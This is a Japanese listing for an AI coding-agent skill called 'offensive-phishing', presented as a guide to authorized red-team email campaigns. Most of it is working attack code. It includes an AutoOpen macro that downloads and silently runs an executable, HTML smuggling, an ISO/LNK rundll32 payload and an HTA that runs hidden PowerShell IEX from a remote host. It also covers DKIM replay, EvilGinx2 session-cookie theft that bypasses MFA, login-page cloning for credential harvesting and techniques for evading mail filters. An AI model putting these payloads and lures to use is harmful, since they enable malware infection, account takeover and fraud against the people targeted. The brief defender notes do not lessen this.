mcpField
O
offensive-phishing

offensive-phishing

github.com/snailsploitセキュリティ9.7k130 回インストール2 週間前に更新
リポジトリ

offensive-phishing について

組織の人員と防御を評価する、認可されたメールフィッシング向けのスキルです。キャンペーン基盤、メールやペイロードの手法、認証情報のテスト、結果の記録を扱います。

主な機能

  1. 01フィッシング基盤と DNS の設定
  2. 02GoPhish キャンペーンの構成
  3. 03口実とランディングページの準備
  4. 04メールペイロードの配信手法
  5. 05認証情報と MFA 回避のテスト
  6. 06キャンペーンの監視と報告

活用シーン

  1. 01認可されたセキュリティ意識評価の実施
  2. 02メールゲートウェイと認証制御のテスト
  3. 03キャンペーンの反応と認証情報露出の測定

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-phishing

インストール後、Claude Code で/offensive-phishingを入力して読み込まれたか確認します。

詳細

フィッシング攻撃

フィッシングは、レッドチーム活動において最も確実な初期侵入経路であり続けています。実際の攻撃者を模倣するため、インフラストラクチャ、口実、ペイロードは、標的組織のメールセキュリティスタックが受信メールに適用するのと同じ厳しい審査に耐えなければなりません。このスキルでは、メールを利用したソーシャルエンジニアリングに対する組織の人的・技術的な防御を検証するキャンペーンの構築方法を説明します。

ここで紹介する手法はすべて、明示的な書面による承認を得ていることを前提としています。最初のメールを送信する前に、スコープ、標的リスト、エスカレーション手順を文書化してください。

クイックワークフロー

  1. エンゲージメントの4~8週間前に、類似ドメインを登録し、SPF、DKIM、DMARCのアラインメント用DNSレコードを設定します。
  2. 専用インフラストラクチャにGoPhishを構築し、信頼できるプロバイダーまたはセルフホストのMTAを経由するSMTPリレーを設定します。
  3. OSINTをもとに、組織の発表、ベンダーとの関係、内部プロセスに基づいた口実を作成します。
  4. ランディングページを作成または複製します。MFAバイパスがスコープに含まれる場合は、EvilGinx2のフィッシュレットをデプロイします。
  5. 標的のメールセキュリティ態勢に合わせたペイロードを作成します(マクロ有効ドキュメント、HTMLスマグリング、ISOコンテナーなど)。
  6. まず自分のアカウントにテストメールを送信し、表示、リンクのトラッキング、ペイロードの配信を確認します。
  7. キャンペーンを複数回に分けて実施し、GoPhishダッシュボードで開封、クリック、認証情報の送信を監視します。
  8. 最終レポート用に、タイムスタンプ、スクリーンショット、影響を受けたユーザー数を含めて調査結果を記録します。

インフラストラクチャのセットアップ

送信インフラストラクチャによって、メールが受信トレイに届くか、隔離されるかが決まります。インフラストラクチャのプロビジョニングを、すべてのキャンペーンの基盤として扱ってください。

ドメインの取得とエイジング

標的に見た目や意味が似ているドメインを登録します。ホモグリフの置換(mの代わりにrn、wの代わりにvv)、TLDの変更(.comの代わりに.net)、ハイフンを含むバリエーションはいずれも有効です。キャンペーンで使用する前に、無害なコンテンツと少量の正規メールを使って、少なくとも2週間ドメインをエイジングしてください。

# Check domain availability and WHOIS history
whois targetcorp-portal.com
# Verify no existing reputation flags
dig +short targetcorp-portal.com @8.8.8.8

# Generate homoglyph candidates with dnstwist
dnstwist --registered targetcorp.com
DNSとメール認証レコード

適切なSPF、DKIM、DMARCレコードは必須です。これらがなければ、ほとんどの最新のメールゲートウェイはメールを拒否するか、隔離します。

# SPF record -- authorize your sending IP
# Add as TXT record on your phishing domain:
# v=spf1 ip4:203.0.113.50 -all

# Generate DKIM keys (2048-bit RSA)
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048

# DMARC record -- set policy to none during warmup
# _dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:[email protected]"

# Verify DNS propagation
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
GoPhishのデプロイ

GoPhishは、標準的なオープンソースのフィッシングフレームワークです。有効なTLS証明書を使ってVPSにデプロイしてください。

# Download and extract GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish

# Generate TLS certificate with Let's Encrypt
certbot certonly --standalone -d phish.targetcorp-portal.com

# Configure GoPhish (config.json)
cat <<'EOF' > /opt/gophish/config.json
{
  "admin_server": {
    "listen_url": "0.0.0.0:3333",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:443",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
  }
}
EOF

# Start GoPhish
cd /opt/gophish && ./gophish &
SMTPの設定

Postfixをセルフホストするか、Amazon SES、Mailgun、SendGridを経由するリレーを使用します。セルフホストすれば完全に制御できますが、IPレピュテーションを慎重に管理する必要があります。

# Postfix main.cf essentials for phishing relay
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"

systemctl restart postfix

ペイロードの配信経路

標的のメールゲートウェイの機能に合わせてペイロードを選びます。組織がマクロを削除する場合は、HTMLスマグリングまたはISOコンテナーに切り替えてください。

Officeマクロペイロード

古典的な手法ですが、マクロ有効ドキュメントを許可している組織には今でも効果的です。VBAスタンピングを使って、p-codeを維持したまま読み取り可能なソースを削除します。

' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
    Dim url As String
    Dim path As String
    url = "https://cdn.targetcorp-portal.com/update.exe"
    path = Environ("TEMP") & "\svchost.exe"
    
    Dim xhr As Object
    Set xhr = CreateObject("MSXML2.XMLHTTP")
    xhr.Open "GET", url, False
    xhr.send
    
    Dim stream As Object
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write xhr.responseBody
    stream.SaveToFile path, 2
    stream.Close
    
    Shell path, vbHide
End Sub
HTMLスマグリング

ペイロードをJavaScriptでエンコードし、クライアント側で再構成することで、メールゲートウェイをバイパスします。メールに含まれるのはHTMLだけで、ゲートウェイがスキャンする添付ファイルはありません。


<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
    arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
ISO/IMGコンテナーの悪用

ISOファイルとIMGファイルはWindows 10/11で自動的にマウントされ、Mark-of-the-Webの保護をバイパスします。コンテナー内に埋め込まれたDLLまたは実行ファイルを指すLNKファイルをパッケージ化します。

# Create an ISO with a malicious LNK and hidden payload
# First, prepare the directory structure
mkdir -p /tmp/iso_payload
cp payload.dll /tmp/iso_payload/
# Create an LNK that executes the DLL via rundll32
# (use pylnk3 or mklnk for programmatic LNK creation)

python3 -c "
import pylnk3
lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\rundll32.exe'
lnk.arguments = r'payload.dll,DllMain'
lnk.icon_file = r'C:\Windows\System32\shell32.dll'
lnk.icon_index = 1
lnk.save('/tmp/iso_payload/Q3-Report.lnk')
"

# Generate the ISO
mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/
OneNote埋め込みペイロード

OneNoteファイル(.one)には、スクリプト、実行ファイル、HTAファイルを埋め込めます。ユーザーには「ダブルクリックして開く」というプロンプトが表示されます。Officeマクロをブロックしている環境に効果的です。

# Use o365creeper or custom tooling to craft .one files
# OneNote payload embedding approach:
# 1. Create a legitimate-looking OneNote page
# 2. Embed a malicious HTA or BAT file as an attachment
# 3. Place a visual overlay instructing the user to "double-click to view"

# Example HTA payload embedded in OneNote
cat <<'HTAEOF' > payload.hta
<html>
<head>
<script language="VBScript">
Sub Window_onLoad
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0
    window.close
End Sub
</script>
</head>
</html>
HTAEOF

メール認証のバイパス

メール認証を理解すると、厳格なポリシーと実際の適用との間にある隙を悪用できます。

SPF Softfailの悪用

多くの組織は、SPFを-all(hardfail)ではなく~all(softfail)で設定しています。softfailのメッセージにはタグが付けられますが、特に有効なDKIMと組み合わせた場合、そのまま配信されることがよくあります。

# Check target's SPF record for softfail
dig TXT targetcorp.com | grep spf

# If ~all is present, send from any IP -- the message gets tagged
# but typically passes through to the inbox
# Combine with valid DKIM on your own domain for best results
DKIM リプレイ攻撃

DKIM 署名を行うサービス経由で正規のメールを送信し、その後、エンベロープヘッダーを変更して署名済みメッセージ本文を再送します。

# DKIM replay concept
# 1. Send a message through a legitimate service (e.g., a newsletter platform)
#    that DKIM-signs with a domain the target trusts
# 2. Capture the raw signed message
# 3. Modify the envelope From/To while preserving the DKIM-signed body

import smtplib
from email import message_from_file

# Load the captured DKIM-signed message
with open("signed_message.eml", "r") as f:
    msg = message_from_file(f)

# Modify envelope (not headers) and relay
with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp:
    smtp.starttls()
    smtp.sendmail(
        "[email protected]",   # envelope from
        "[email protected]",          # envelope to
        msg.as_string()                   # original DKIM-signed content
    )
表示名のなりすましとホモグリフドメイン

最も簡単な回避策は、表示名を信頼できる送信者と一致させることです。ほとんどのメールクライアントでは、表示名が目立つように表示され、実際のアドレスは隠れています。

From: "IT Security Team <[email protected]>" <[email protected]>
Subject: Mandatory Password Reset - Action Required

Combined with a homoglyph domain:
  targetcorp.com  vs  targetc0rp.com  (zero for o)
  targetcorp.com  vs  targe7corp.com  (seven for t)
  targetcorp.com  vs  targetcorp.co   (TLD change)

MFA を回避する認証情報の窃取

現代の認証情報の窃取は、クローンしたログインページにとどまりません。MFA を回避するには、セッショントークンを傍受する必要があります。

EvilGinx2 の透過プロキシ

EvilGinx2 は、被害者と実際の認証ポータルの間でリバースプロキシとして動作します。認証情報とセッションクッキーの両方を取得し、TOTP、プッシュ通知、SMS ベースの MFA を回避します。

# Install EvilGinx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make

# Configure and run
./evilginx2 -p phishlets/

# Inside the EvilGinx2 console:
config domain targetcorp-portal.com
config ipv4 203.0.113.50

# Load the Microsoft 365 phishlet
phishlets hostname o365 login.targetcorp-portal.com
phishlets enable o365

# Create a lure URL
lures create o365
lures get-url 0
# Output: https://login.targetcorp-portal.com/some-path

# When the victim authenticates, EvilGinx2 captures:
# - Username and password
# - Session cookies (bypasses MFA)
# - Authorization tokens
HTML ログインページの複製

透過プロキシが実行できない状況では、対象のログインページを複製し、認証情報を収集サーバーに POST します。

# Clone a login page with wget
wget --mirror --convert-links --page-requisites \
     --no-parent https://login.targetcorp.com/

# Modify the form action to POST to your server
# In the cloned HTML, change:
#   <form action="/auth/login" method="POST">
# To:
#   <form action="https://phish.targetcorp-portal.com/collect" method="POST">

# GoPhish handles this natively -- import the HTML as a landing page
# and GoPhish will intercept form submissions automatically

標的型フィッシングと口実の作成

大規模なフィッシングテストではセキュリティ意識を評価し、標的型フィッシングでは、意欲的な攻撃者が特定の重要な標的を侵害できるかを評価します。

OSINT に基づく口実の構築

公開情報をもとに口実を作成します。LinkedIn プロフィール、カンファレンスでの講演、ソーシャルメディア、SEC の提出書類、求人情報などが該当します。

# Gather target intelligence
# LinkedIn scraping for org chart and role identification
theHarvester -d targetcorp.com -b linkedin

# Email format enumeration
python3 -c "
# Common email formats to test
import itertools
first = 'john'
last = 'smith'
domain = 'targetcorp.com'
formats = [
    f'{first}.{last}@{domain}',
    f'{first[0]}{last}@{domain}',
    f'{first}{last[0]}@{domain}',
    f'{first}_{last}@{domain}',
    f'{first}@{domain}',
]
for fmt in formats:
    print(fmt)
"

# Verify emails with SMTP VRFY or RCPT TO
smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com
シナリオ別の口実の例
Scenario: IT department password reset
  From: IT Helpdesk <[email protected]>
  Pretext: Annual security compliance requires password rotation.
  Urgency: Account lockout in 24 hours.
  Landing: Cloned SSO portal.

Scenario: Vendor invoice
  From: [email protected] (compromised or spoofed)
  Pretext: Updated banking details for upcoming payment.
  Payload: Macro-enabled Excel "invoice."

Scenario: Shared document notification
  From: DocuSign <[email protected]>
  Pretext: HR document awaiting signature.
  Landing: Credential harvesting page styled as DocuSign.

Scenario: Callback phishing (BazarCall)
  From: [email protected]
  Pretext: Subscription renewal charge of $499.99.
  Action: Call this number to cancel (leads to vishing agent).

メールフィルターの回避手法

メールセキュリティゲートウェイは、URL、添付ファイル、ヘッダー、コンテンツを検査します。目的は、検知を引き起こさずにペイロードを届けることです。

回避手法
URL obfuscation:
  - Use URL shorteners (bit.ly, tinyurl) for initial link
  - Redirect chains: benign domain -> 302 -> phishing page
  - Open redirects on trusted domains (Google, Microsoft, Adobe)
  - Time-delayed redirects (serve benign page during sandbox analysis)

Attachment evasion:
  - Password-protected ZIP files (password in email body)
  - Nested archives (ZIP inside ZIP)
  - Rename extensions (.doc.iso, .pdf.lnk)
  - Use less-scrutinized formats (SVG with embedded JS, .url files)

Content evasion:
  - Invisible text / zero-font to confuse NLP classifiers
  - Image-based email body (text rendered as PNG)
  - Base64-encoded body sections
  - Right-to-left override characters in filenames
QR コードフィッシング(クイッシング)

メール本文内の QR コードは、リンクがクリック可能な href ではなく画像に埋め込まれているため、URL スキャナーを回避します。

# Generate a QR code pointing to your phishing URL
import qrcode

url = "https://login.targetcorp-portal.com/auth"
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("mfa_setup_qr.png")

# Embed in an email with pretext:
# "Scan this QR code with your phone to complete MFA enrollment"

検知/防御側の視点

防御側がフィッシングをどのように検知するかを理解することで、それらの制御を現実的に評価するキャンペーンを構築できます。

制御レイヤー検知方法攻撃者が考慮すべき点
メールゲートウェイ(Proofpoint、Mimecast)URL のレピュテーション、添付ファイルのサンドボックス分析、ヘッダー分析新規ドメイン、時間差で実行されるペイロード、暗号化された添付ファイルを使用する
SPF/DKIM/DMARC の適用認証ヘッダーの検証送信ドメインで適切なアラインメントを確保する
リンク保護(SafeLinks、URL Defense)URL の書き換えとクリック時の分析実行リダイレクトチェーンを使い、ペイロードの前に CAPTCHA を設置する
ユーザー向けセキュリティ意識向上トレーニング報告されたフィッシング、疑わしいメールのボタンより巧妙な口実、標的型フィッシングを使う
EDR/エンドポイント制御ペイロード実行のブロックペイロードの実行は個別にテストする。フィッシングスキルの対象範囲外
SIEM/SOC の監視大量の認証情報送信に関するアラート、不可能な移動キャンペーンの波を時間差で実施し、住宅用プロキシを使う

防御側が確認すべき点:受信メールに含まれる新規登録ドメイン、配信済みとしてタグ付けされた DMARC 失敗、キャンペーン期間後の異常なログイン地域、パスワードリセット要求の急増。


エンゲージメント用チートシート

PRE-ENGAGEMENT
  [ ] Written authorization and scope document signed
  [ ] Target list approved (no out-of-scope individuals)
  [ ] Deconfliction contacts established with blue team (if not blind)
  [ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
  [ ] DNS records configured (SPF, DKIM, DMARC)
  [ ] GoPhish deployed and tested
  [ ] Landing pages cloned and functional
  [ ] Payloads tested against target email gateway (send to yourself first)

EXECUTION
  [ ] Test email sent to operator's own mailbox -- verify rendering
  [ ] Campaign launched in waves (stagger send times)
  [ ] Monitor GoPhish dashboard for opens, clicks, credential captures
  [ ] Screenshot all credential captures with timestamps
  [ ] If callback phishing: vishing team briefed and ready

POST-ENGAGEMENT
  [ ] Campaign stopped; no further emails sent
  [ ] All collected credentials securely stored and reported
  [ ] Infrastructure torn down (domains, servers, GoPhish data)
  [ ] Phishing simulation results compiled with per-department metrics
  [ ] Recommendations: email gateway tuning, DMARC enforcement, user training

主な参考資料

コメント